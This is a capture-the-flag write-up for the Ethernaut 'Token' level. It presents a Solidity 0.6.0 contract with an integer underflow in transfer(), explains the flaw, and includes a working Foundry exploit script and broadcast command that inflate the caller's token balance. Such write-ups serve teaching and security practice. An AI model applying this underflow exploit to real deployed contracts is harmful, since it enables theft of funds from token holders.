Token - The Ethernaut

359 words

2 minutes

Token - The Ethernaut

2025-09-17

CTF

blockchain

/

ethernaut

Cover image source: Source

Challenge Overview#

In this level, you start with 20 tokens and need to acquire additional tokens to complete the challenge. The contract contains a critical vulnerability due to arithmetic underflow in Solidity version 0.6.0, which allows an attacker to manipulate their token balance by attempting to transfer more tokens than they possess.

Challenge Code#

1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.6.0;
3

4
contract Token {
5
    mapping(address => uint256) balances;
6
    uint256 public totalSupply;
7

8
    constructor(uint256 _initialSupply) public {
9
        balances[msg.sender] = totalSupply = _initialSupply;
10
    }
11

12
    function transfer(address _to, uint256 _value) public returns (bool) {
13
        require(balances[msg.sender] - _value >= 0);
14
        balances[msg.sender] -= _value;
15
        balances[_to] += _value;
16
        return true;
17
    }
18

19
    function balanceOf(address _owner) public view returns (uint256 balance) {
20
        return balances[_owner];
21
    }
22
}

Exploit Explanation#

The vulnerability exists in the transfer() function:

1
require(balances[msg.sender] - _value >= 0);
2
balances[msg.sender] -= _value;

In Solidity versions prior to 0.8.0, arithmetic operations do not automatically check for underflow/overflow. When you attempt to subtract a larger value from a smaller unsigned integer, the result wraps around to the maximum value of the type (2²⁵⁶ - 1) due to underflow.

The exploit works as follows:

You start with 20 tokens
You attempt to transfer 21 tokens (more than you have)
The calculation balances[msg.sender] - _value becomes 20 - 21
This results in an underflow, wrapping around to an extremely large number (2²⁵⁶ - 1)
The require statement passes because the result is positive (albeit due to underflow)
Your balance is then set to this enormous value

Exploit Script#

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.6.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Token.sol";
7

8
contract TokenSolution is Script {
9
    Token public tokenInstance = Token(<YOUR_INSTANCE>);
10

11
    function run() public {
12
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
13

14
        // Check initial balance
15
        uint256 initialBalance = tokenInstance.balanceOf(vm.envAddress("MY_ADDRESS"));
16
        console.log("Initial balance:", initialBalance);
17

18
        // Trigger the underflow by transferring more tokens than we have
19
        // Sending to address(0) to avoid affecting other balances
20
        tokenInstance.transfer(address(0), 21);
21

22
        // Check the new balance after the exploit
23
        uint256 newBalance = tokenInstance.balanceOf(vm.envAddress("MY_ADDRESS"));
24
        console.log("New balance after exploit:", newBalance);
25

26
        vm.stopBroadcast();
27
    }
28
}

Proof of Concept (PoC)#

Execute the exploit with Foundry:

1
forge script script/TokenSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Note: In modern Solidity versions (0.8.0+), this vulnerability would be prevented by automatic overflow/underflow checks. However, since this contract uses version 0.6.0, the underflow occurs successfully, granting you an enormous token balance and completing the level.